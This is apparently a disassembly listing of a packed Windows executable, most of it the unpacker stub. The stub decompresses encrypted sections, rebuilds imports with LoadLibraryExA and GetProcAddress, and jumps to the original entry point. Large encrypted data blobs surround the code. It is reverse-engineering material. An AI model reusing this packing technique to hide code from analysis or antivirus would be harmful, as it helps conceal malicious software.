		dd 3414F135h, 0F8E8B93Eh, 2635BF3Bh, 756764DEh,	4AA8D484h
		dd 50684F20h, 0E8737DD7h, 98C92D4Eh, 74BF9BAFh,	0F28E07A7h
		dd 0CBC985D8h, 2AF00253h, 82F2A3E2h, 0C3723E6h,	0F1F83BE1h
		dd 0A268DDBAh, 0DA1255BDh, 283C39CDh, 0CC23608Ah, 35A59D01h
		dd 7F209933h, 0A81F1EF5h, 1A7B15DCh, 5057B6A5h,	0BBF13EC9h
		dd 928D04D5h, 5AC5FA7h,	599CBF6Fh, 1034E183h, 12D6EB28h
		dd 8091827Bh, 284CBC54h, 4AEBA00Ah, 41F90FFAh, 1FDE2C44h
		dd 7618B72Dh, 0A8781C68h, 0AE0AC8B5h, 0C364ACD8h, 8BF308E6h
		dd 53A34BD8h, 4EDDBBD0h, 850F0043h, 0B7B77735h,	0B6D3336Bh
		dd 6DA39CC5h, 0AFC50AD6h, 4FE3A67Dh, 9DFF60DAh,	57A7A5F8h
		dd 8D890E50h, 0D110A89h, 0CEE49AD9h, 38685E33h,	0A6386E96h
		dd 581D2481h, 5E491F1Ah, 760A6279h, 0B3B9CAD0h,	174366F6h
		dd 9057B434h, 0F7390E61h, 3ACC582Eh, 6BADBBDFh,	0A1B12554h
		dd 7B23E5E3h, 86BB7989h, 756D3BEh, 0E71AB5A0h, 7AFC8DC8h
		dd 30B2A793h, 470DD93Bh, 0E2727359h, 857CA9D3h,	3BFB8679h
		dd 52A0F883h, 0BB887214h, 3750D5CDh, 16A5A718h,	0BA59BDEEh
		dd 0DA46E5C8h, 4B78A108h, 0B82EA787h, 2DAA1135h, 0A5F5639Dh
		dd 3A365E9Eh, 0EDD27CFh, 8823EED1h, 0C74D3A9Dh,	3C3B1A3Eh
		dd 3833EEFCh, 478F0EC8h, 0D397DA3Fh, 0BED93D00h, 39D99BB8h
		dd 908E4028h, 3ED37BA0h, 307D1A1h, 14D772D3h, 104BB7AFh
		dd 0C5C7A16Dh, 0FDFC5CEBh, 628F4CC5h, 9B26B64Ch, 10F580Fh
		dd 0CED5845Eh, 0A9744884h, 2EAB8D1Eh, 88DC0150h, 66EA3841h
		dd 70CF1229h, 0F8D7FA02h, 173C7C82h, 727A454Dh,	0CCB8608Ah
		dd 7864DC18h, 5E78DE34h, 0B1537234h, 8C9DF2A7h,	3652DCDCh
		dd 0DC0D7E12h, 0E2ABC284h, 1F25667Bh, 2725C780h, 44D4A1h
		dd 0E86C1FE8h, 664FAD3Eh, 4A6AEAB1h, 1811A346h,	722866C7h
		dd 0B07B8737h, 72B20B3h, 260456CFh, 5140D0CFh, 5B2E4422h
		dd 0F129A343h, 435CA82Dh, 0C077AF57h, 40F0A602h, 0CAEA8640h
		dd 0F4E5915h, 0D2357371h, 99283DA1h, 0EF144A36h, 4DA11B2Ch
		dd 0B7C95105h, 3F44479Dh, 9DA95BC0h, 0C9FFBECAh, 93791449h
		dd 41A80703h, 0D05452FDh, 2987DE6h, 37518303h, 10042662h
		dd 0E9B7E161h, 0D6BF1055h, 5D74EF11h, 5460E59Fh, 0DB118754h
		dd 33E2DED5h, 0FF3FE5D5h, 9496D6D6h
_pdata		ends

; Section 3. (virtual address 00101000)
; Virtual size			: 00001BA4 (   7076.)
; Section size in file		: 00001BA4 (   7076.)
; Offset to raw	data for section: 00101000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_ex_cod		segment	para public 'CODE' use32
		assume cs:_ex_cod
		;org 501000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_501000	dd 1AB0h			dd offset sub_501ECE
		dd 0
dword_50100C	dd 0FFFFFFFFh						; sub_501F30+1Br ...
dword_501010	dd 0							; sub_501F30+87w
dword_501014	dd 0							; sub_501F30:loc_501FB0r
dword_501018	dd 0							; sub_501F30+9Fr
dword_50101C	dd 0							; sub_501F30+99r
dword_501020	dd 0							; sub_501F30+93r
off_501024	dd offset dword_502AB0	; DATA XREF: sub_501441r start+8Ew ...
dword_501028	dd 400000h	dword_50102C	dd 1							; start:loc_5014CAw
dword_501030	dd 0							; start+8A5r ...
dword_501034	dd 0		dword_501038	dd 0		off_50103C	dd offset sub_41AB00	; DATA XREF: start+873w start+8C0r ...
dword_501040	dd 0				align 8
dword_501048	dd 5F696DCh, 36632B29h,	38C48BADh, 13A7F29ChaWks:					; DATA XREF: sub_50275E+112o
		unicode	0, <wks>,0
		dd 10109Ch, 2 dup(0)
		dd 1011B6h, 1010D4h, 1010C8h, 2	dup(0)
		dd 1011DEh, 101100h, 5 dup(0)
		dd 10110Ch, 10111Ah, 10112Ah, 101138h, 10114Ah,	10115Ch
		dd 101170h, 101182h, 101198h, 1011A6h, 0
		dd 1011C4h, 1011D0h, 0
dword_5010D4	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_5010D8	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_5010DC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_5010E0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_5010E4	dd 7C801D4Fh	; resolved to->KERNEL32.LoadLibraryExAdword_5010E8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_5010EC	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtectdword_5010F0	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_5010F4	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_5010F8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA		align 10h
dword_501100	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_501104	dd 7E45058Ah	; resolved to->USER32.MessageBoxA		dd 0
		dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 0AF0000h, 74697845h, 636F7250h
		dd 737365h, 65470198h, 6F725074h, 64644163h, 73736572h
		dd 2490000h, 64616F4Ch,	7262694Ch, 45797261h, 4178h, 65470177h
		dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Bh, 61757472h
		dd 6F72506Ch, 74636574h, 1750000h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
aQ_0		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		dw 248h
aLoadlibrarya_0	db 'LoadLibraryA',0
		align 2
aKernel32_dll_1	db 'KERNEL32.dll',0
		align 4
		dd 737702D5h, 6E697270h, 416674h, 654D01DEh, 67617373h
		dd 786F4265h, 53550041h, 32335245h, 6C6C642Eh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5011F0:				; DATA XREF: sub_50275E+106o
		and	ah, [edi+2Fh]
		retf
; ---------------------------------------------------------------------------
		cmp	ch, [ebx+409C11D2h]
		add	al, al
		dec	edi
		mov	ds:67233E0Ah, eax ; DATA XREF: sub_50275E+10Bo
		das
		retf
; ---------------------------------------------------------------------------
		dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh
		dd 8000005Eh, 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh
					; DATA XREF: sub_502A51+28o
		dd 56237822h, 71BA0D54h, 68772094h, 0FC301F0Eh,	917A159Eh
		dd 7F0F3FE0h, 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h
		dd 5DAEBB6Dh, 1EA6E26h,	98CBC360h, 7E1B00A6h, 0AD00C202h
		dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h,	864D550h
		dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh
		dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h
		dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh,	0AE1D8589h
		dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h,	67207267h
		dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h,	0C5FB263Ah
		dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h,	8EB4B4B3h
		dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h
		dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh
		dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h
		dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h,	0FAACA3D8h
		dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh
		dd 4157BD1h, 5DE20A8Eh,	483BBDA5h, 0FFBC7CE5h, 125B38h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_501368	proc near		; CODE XREF: start+1F4p start+306p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_5013DA
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_501398
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax


loc_501392:				; CODE XREF: sub_501368+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_501392


loc_501398:				; CODE XREF: sub_501368+1Bj
		cmp	cl, 9
		jb	short loc_5013AF
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax


loc_5013A9:				; CODE XREF: sub_501368+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_5013A9


loc_5013AF:				; CODE XREF: sub_501368+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	ds:dword_5010D8	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_5013DF


loc_5013DA:				; CODE XREF: sub_501368+11j
		push	1
		pop	eax
		jmp	short loc_50143C
; ---------------------------------------------------------------------------


loc_5013DF:				; CODE XREF: sub_501368+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_5023E9
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_5010D4	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_501FDC
		add	esp, 14h
		mov	eax, edi


loc_50143C:				; CODE XREF: sub_501368+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_501368	endp


; =============== S U B	R O U T	I N E =======================================



sub_501441	proc near		; CODE XREF: start+93p
		mov	ecx, ds:off_501024
		mov	eax, offset start
		sub	eax, [ecx+50h]
		retn
sub_501441	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: sub_501441+6o
					; sub_501ECE+18o ...

var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= byte ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 258h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_234], 0
		rep jmp	short loc_501472
; ---------------------------------------------------------------------------
		dw 5865h
		dd 762D7250h, 352E312Eh
		db 2Eh,	0
; ---------------------------------------------------------------------------


loc_501472:				; CODE XREF: start+13j
		cmp	[ebp+arg_4], 1
		jnz	short loc_50149B
		mov	eax, [ebp+arg_0]
		mov	ds:dword_501034, eax
		push	4
		push	1000h
		push	320h
		push	0
		call	ds:dword_5010D8	; VirtualAlloc
		mov	ds:dword_501040, eax
		jmp	short loc_50149F
; ---------------------------------------------------------------------------


loc_50149B:				; CODE XREF: start+26j
		and	[ebp+arg_0], 0


loc_50149F:				; CODE XREF: start+49j
		cmp	[ebp+arg_4], 0
		jnz	short loc_5014BC
		cmp	ds:dword_501038, 0
		jz	short loc_5014BC
		cmp	ds:dword_501034, 0
		jz	short loc_5014BC
		jmp	loc_501DB6
; ---------------------------------------------------------------------------


loc_5014BC:				; CODE XREF: start+53j	start+5Cj ...
		cmp	ds:dword_50102C, 0
		jz	short loc_5014CA
		jmp	loc_501CC9
; ---------------------------------------------------------------------------


loc_5014CA:				; CODE XREF: start+73j
		mov	ds:dword_50102C, 1
		mov	eax, ds:dword_501000
		add	eax, offset dword_501000
		mov	ds:off_501024, eax
		call	sub_501441
		mov	ds:dword_501028, eax
		push	4
		push	1000h
		push	80h
		push	0
		call	ds:dword_5010D8	; VirtualAlloc
		mov	[ebp+var_224], eax
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+4Ch], 0
		jnz	short loc_50152E
		push	10h
		push	0
		call	sub_502A51
		pop	ecx
		push	eax
		push	1
		call	sub_502A51
		pop	ecx
		push	eax
		push	0
		call	ds:dword_501104	; MessageBoxA


loc_50152E:				; CODE XREF: start+C0j
		push	104h
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_5010F0	; GetModuleFileNameA
		lea	eax, [ebp+eax+var_211]
		mov	[ebp+var_228], eax


loc_501550:				; CODE XREF: start+11Bj
		mov	eax, [ebp+var_228]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_50156D
		mov	eax, [ebp+var_228]
		dec	eax
		mov	[ebp+var_228], eax
		jmp	short loc_501550
; ---------------------------------------------------------------------------


loc_50156D:				; CODE XREF: start+10Cj
		mov	eax, [ebp+var_228]
		inc	eax
		mov	[ebp+var_228], eax
		mov	eax, [ebp+var_228]
		lea	ecx, [ebp+var_210]
		sub	eax, ecx
		mov	[ebp+var_250], eax
		mov	ecx, [ebp+var_250]
		lea	esi, [ebp+var_210]
		lea	edi, [ebp+var_104]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_250]
		and	[ebp+eax+var_103], 0
		mov	eax, ds:dword_501028
		mov	[ebp+var_24C], eax
		mov	eax, [ebp+var_24C]
		mov	ecx, ds:dword_501028
		add	ecx, [eax+3Ch]
		mov	[ebp+var_22C], ecx
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+70h], 0
		jz	loc_5016A9
		mov	eax, ds:off_501024
		mov	ecx, ds:dword_501028
		add	ecx, [eax+88h]
		mov	[ebp+var_23C], ecx
		mov	eax, [ebp+var_23C]
		mov	[ebp+var_244], eax
		mov	eax, ds:off_501024
		mov	eax, [eax+3Ch]
		mov	[ebp+var_230], eax
		mov	eax, ds:off_501024
		mov	ecx, ds:dword_501028
		add	ecx, [eax+44h]
		mov	[ebp+var_218], ecx
		push	[ebp+var_23C]
		mov	eax, ds:off_501024
		push	dword ptr [eax+38h]
		push	[ebp+var_218]
		call	sub_501368
		add	esp, 0Ch
		mov	eax, ds:off_501024
		push	dword ptr [eax+74h]
		push	[ebp+var_244]
		call	sub_50275E
		pop	ecx
		pop	ecx
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_5016A4
		push	[ebp+var_234]
		push	2
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_224]
		call	ds:dword_501100	; wsprintfA
		add	esp, 0Ch
		push	30h
		push	[ebp+var_228]
		push	[ebp+var_224]
		push	0
		call	ds:dword_501104	; MessageBoxA


loc_5016A4:				; CODE XREF: start+21Ej
		jmp	loc_501DB4
; ---------------------------------------------------------------------------


loc_5016A9:				; CODE XREF: start+195j
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+6Ch], 0
		jz	loc_501803
		push	4
		push	1000h
		mov	eax, ds:off_501024
		push	dword ptr [eax+38h]
		push	0
		call	ds:dword_5010D8	; VirtualAlloc
		mov	[ebp+var_244], eax
		mov	eax, [ebp+var_244]
		mov	[ebp+var_23C], eax
		cmp	[ebp+var_23C], 0
		jnz	short loc_501708
		push	30h
		push	[ebp+var_228]
		push	3
		call	sub_502A51
		pop	ecx
		push	eax
		push	0
		call	ds:dword_501104	; MessageBoxA
		jmp	loc_501DB2
; ---------------------------------------------------------------------------


loc_501708:				; CODE XREF: start+298j
		mov	eax, ds:off_501024
		mov	eax, [eax+3Ch]
		mov	[ebp+var_230], eax
		mov	eax, ds:off_501024
		mov	ecx, ds:dword_501028
		add	ecx, [eax+44h]
		mov	eax, ds:off_501024
		mov	esi, [ebp+var_22C]
		mov	eax, [eax+80h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_218], ecx
		push	[ebp+var_23C]
		mov	eax, ds:off_501024
		push	dword ptr [eax+38h]
		push	[ebp+var_218]
		call	sub_501368
		add	esp, 0Ch
		jmp	short loc_50176D
; ---------------------------------------------------------------------------


loc_501760:				; CODE XREF: start+396j
		mov	eax, [ebp+var_234]
		inc	eax
		mov	[ebp+var_234], eax


loc_50176D:				; CODE XREF: start+30Ej
		mov	eax, ds:off_501024
		movzx	eax, word ptr [eax+78h]
		cmp	[ebp+var_234], eax
		jge	short loc_5017EB
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		mov	ecx, [ecx+eax+84h]
		mov	esi, [ebp+var_23C]
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	edx, ds:off_501024
		mov	edi, ds:dword_501028
		add	edi, [edx+eax+88h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		mov	edx, [ebp+var_23C]
		add	edx, [ecx+eax+84h]
		mov	[ebp+var_23C], edx
		jmp	loc_501760
; ---------------------------------------------------------------------------


loc_5017EB:				; CODE XREF: start+32Cj
		push	8000h
		push	0
		push	[ebp+var_244]
		call	ds:dword_5010D4	; VirtualFree
		jmp	loc_501928
; ---------------------------------------------------------------------------


loc_501803:				; CODE XREF: start+262j
		mov	eax, ds:off_501024
		mov	ecx, ds:dword_501028
		add	ecx, [eax+44h]
		mov	eax, ds:off_501024
		sub	ecx, [eax+40h]
		mov	eax, ds:off_501024
		mov	esi, [ebp+var_22C]
		mov	eax, [eax+80h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_244], ecx
		and	[ebp+var_234], 0
		jmp	short loc_50184D
; ---------------------------------------------------------------------------


loc_501840:				; CODE XREF: start:loc_501923j
		mov	eax, [ebp+var_234]
		inc	eax
		mov	[ebp+var_234], eax


loc_50184D:				; CODE XREF: start+3EEj
		mov	eax, ds:off_501024
		movzx	eax, word ptr [eax+78h]
		cmp	[ebp+var_234], eax
		jge	loc_501928
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		cmp	dword ptr [ecx+eax+7Ch], 0
		jz	loc_501923
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		cmp	dword ptr [ecx+eax+84h], 0
		jbe	loc_501923
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		mov	edx, ds:dword_501028
		add	edx, [ecx+eax+88h]
		mov	[ebp+var_23C], edx
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		mov	eax, [ecx+eax+84h]
		mov	[ebp+var_230], eax
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		mov	edx, [ebp+var_244]
		add	edx, [ecx+eax+80h]
		mov	[ebp+var_218], edx
		push	[ebp+var_23C]
		mov	eax, [ebp+var_234]
		imul	eax, 18h
		mov	ecx, ds:off_501024
		push	dword ptr [ecx+eax+84h]
		push	[ebp+var_218]
		call	sub_501368
		add	esp, 0Ch


loc_501923:				; CODE XREF: start+426j start+443j
		jmp	loc_501840
; ---------------------------------------------------------------------------


loc_501928:				; CODE XREF: start+3AEj start+40Cj
		mov	eax, ds:off_501024
		mov	ecx, ds:dword_501028
		add	ecx, [eax+5Ch]
		mov	[ebp+var_248], ecx
		and	[ebp+var_220], 0


loc_501943:				; CODE XREF: start+815j
		mov	eax, [ebp+var_248]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_501C6A
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+5Ch], 0
		jz	loc_501C6A
		and	[ebp+var_254], 0
		lea	eax, [ebp+var_238]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_248]
		call	ds:dword_5010EC	; VirtualProtect
		mov	eax, [ebp+var_248]
		mov	ecx, ds:dword_501028
		add	ecx, [eax+0Ch]
		mov	[ebp+var_10C], ecx
		push	[ebp+var_10C]
		call	ds:dword_5010E8	; GetModuleHandleA
		mov	[ebp+var_240], eax
		cmp	[ebp+var_240], 0
		jnz	short loc_5019D9
		push	8
		push	0
		push	[ebp+var_10C]
		call	ds:dword_5010E4	; LoadLibraryExA
		mov	[ebp+var_240], eax
		cmp	[ebp+var_240], 0
		jz	short loc_5019D9
		mov	[ebp+var_254], 1


loc_5019D9:				; CODE XREF: start+55Ej start+57Dj
		cmp	[ebp+var_240], 0
		jnz	short loc_501A3E
		mov	edi, [ebp+var_10C]
		mov	eax, [ebp+var_250]
		lea	eax, [ebp+eax+var_104]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_5010E4	; LoadLibraryExA
		mov	[ebp+var_240], eax
		cmp	[ebp+var_240], 0
		jz	short loc_501A3E
		mov	[ebp+var_254], 1


loc_501A3E:				; CODE XREF: start+590j start+5E2j
		cmp	[ebp+var_240], 0
		jnz	short loc_501A80
		push	[ebp+var_10C]
		push	4
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_224]
		call	ds:dword_501100	; wsprintfA
		add	esp, 0Ch
		push	30h
		push	[ebp+var_228]
		push	[ebp+var_224]
		push	0
		call	ds:dword_501104	; MessageBoxA
		jmp	loc_501DB0
; ---------------------------------------------------------------------------


loc_501A80:				; CODE XREF: start+5F5j
		cmp	[ebp+var_254], 0
		jz	short loc_501AB4
		cmp	ds:dword_501040, 0
		jz	short loc_501AB4
		mov	eax, [ebp+var_220]
		mov	ecx, ds:dword_501040
		mov	edx, [ebp+var_240]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_501AB4:				; CODE XREF: start+637j start+640j
		mov	eax, [ebp+var_248]
		mov	ecx, ds:dword_501028
		add	ecx, [eax+10h]
		mov	[ebp+var_21C], ecx
		mov	eax, [ebp+var_248]
		cmp	dword ptr [eax], 0
		jnz	short loc_501AE2
		mov	eax, [ebp+var_21C]
		mov	[ebp-214h], eax
		jmp	short loc_501AF6
; ---------------------------------------------------------------------------


loc_501AE2:				; CODE XREF: start+682j
		mov	eax, [ebp+var_248]
		mov	ecx, ds:dword_501028
		add	ecx, [eax]
		mov	[ebp-214h], ecx


loc_501AF6:				; CODE XREF: start+690j start+801j
		mov	eax, [ebp-214h]
		cmp	dword ptr [eax], 0
		jz	loc_501C56
		and	[ebp+var_258], 0
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_501B42
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_240]
		call	ds:dword_5010E0	; GetProcAddress
		mov	[ebp+var_258], eax
		jmp	short loc_501B71
; ---------------------------------------------------------------------------


loc_501B42:				; CODE XREF: start+6CBj
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		add	eax, ds:dword_501028
		mov	[ebp+var_108], eax
		mov	eax, [ebp+var_108]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_240]
		call	ds:dword_5010E0	; GetProcAddress
		mov	[ebp+var_258], eax


loc_501B71:				; CODE XREF: start+6F0j
		cmp	[ebp+var_258], 0
		jnz	loc_501C0E
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_501BC6
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_10C]
		push	[ebp+var_228]
		push	5
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_224]
		call	ds:dword_501100	; wsprintfA
		add	esp, 14h
		jmp	short loc_501BF3
; ---------------------------------------------------------------------------


loc_501BC6:				; CODE XREF: start+73Dj
		mov	eax, [ebp+var_108]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_10C]
		push	[ebp+var_228]
		push	6
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_224]
		call	ds:dword_501100	; wsprintfA
		add	esp, 14h


loc_501BF3:				; CODE XREF: start+774j
		push	30h
		push	[ebp+var_228]
		push	[ebp+var_224]
		push	0
		call	ds:dword_501104	; MessageBoxA
		jmp	loc_501DAE
; ---------------------------------------------------------------------------


loc_501C0E:				; CODE XREF: start+728j
		lea	eax, [ebp+var_238]
		push	eax
		push	40h
		push	4
		push	[ebp+var_21C]
		call	ds:dword_5010EC	; VirtualProtect
		mov	eax, [ebp+var_21C]
		mov	ecx, [ebp+var_258]
		mov	[eax], ecx
		mov	eax, [ebp-214h]
		add	eax, 4
		mov	[ebp-214h], eax
		mov	eax, [ebp+var_21C]
		add	eax, 4
		mov	[ebp+var_21C], eax
		jmp	loc_501AF6
; ---------------------------------------------------------------------------


loc_501C56:				; CODE XREF: start+6AFj
		mov	eax, [ebp+var_248]
		add	eax, 14h
		mov	[ebp+var_248], eax
		jmp	loc_501943
; ---------------------------------------------------------------------------


loc_501C6A:				; CODE XREF: start+4FDj start+50Cj
		call	sub_501DEF
		test	eax, eax
		jnz	short loc_501CA5
		push	7
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_224]
		call	ds:dword_501100	; wsprintfA
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+var_228]
		push	[ebp+var_224]
		push	0
		call	ds:dword_501104	; MessageBoxA
		jmp	loc_501DAC
; ---------------------------------------------------------------------------


loc_501CA5:				; CODE XREF: start+821j
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_501CB5
		call	sub_501F30


loc_501CB5:				; CODE XREF: start+85Ej
		mov	eax, ds:off_501024
		mov	ecx, ds:dword_501028
		add	ecx, [eax+48h]
		mov	ds:off_50103C, ecx


loc_501CC9:				; CODE XREF: start+75j
		cmp	[ebp+var_224], 0
		jz	short loc_501CE5
		push	8000h
		push	0
		push	[ebp+var_224]
		call	ds:dword_5010D4	; VirtualFree


loc_501CE5:				; CODE XREF: start+880j
		cmp	ds:dword_501030, 0
		jz	short loc_501D01
		push	8000h
		push	0
		push	ds:dword_501030
		call	ds:dword_5010D4	; VirtualFree


loc_501D01:				; CODE XREF: start+89Cj
		cmp	[ebp+arg_4], 0
		jnz	short loc_501D22
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_50103C
		call	sub_501DB8
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_501D22:				; CODE XREF: start+8B5j
		mov	eax, ds:off_50103C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	eax
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+48h], 0
		jnz	short loc_501D3E
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_501D3E:				; CODE XREF: start+8E7j
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------


loc_501D41:				; CODE XREF: start:loc_501DACj
					; start:loc_501DAEj ...
		cmp	[ebp+arg_4], 1
		jnz	short loc_501D5A
		mov	ds:dword_501038, 1
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
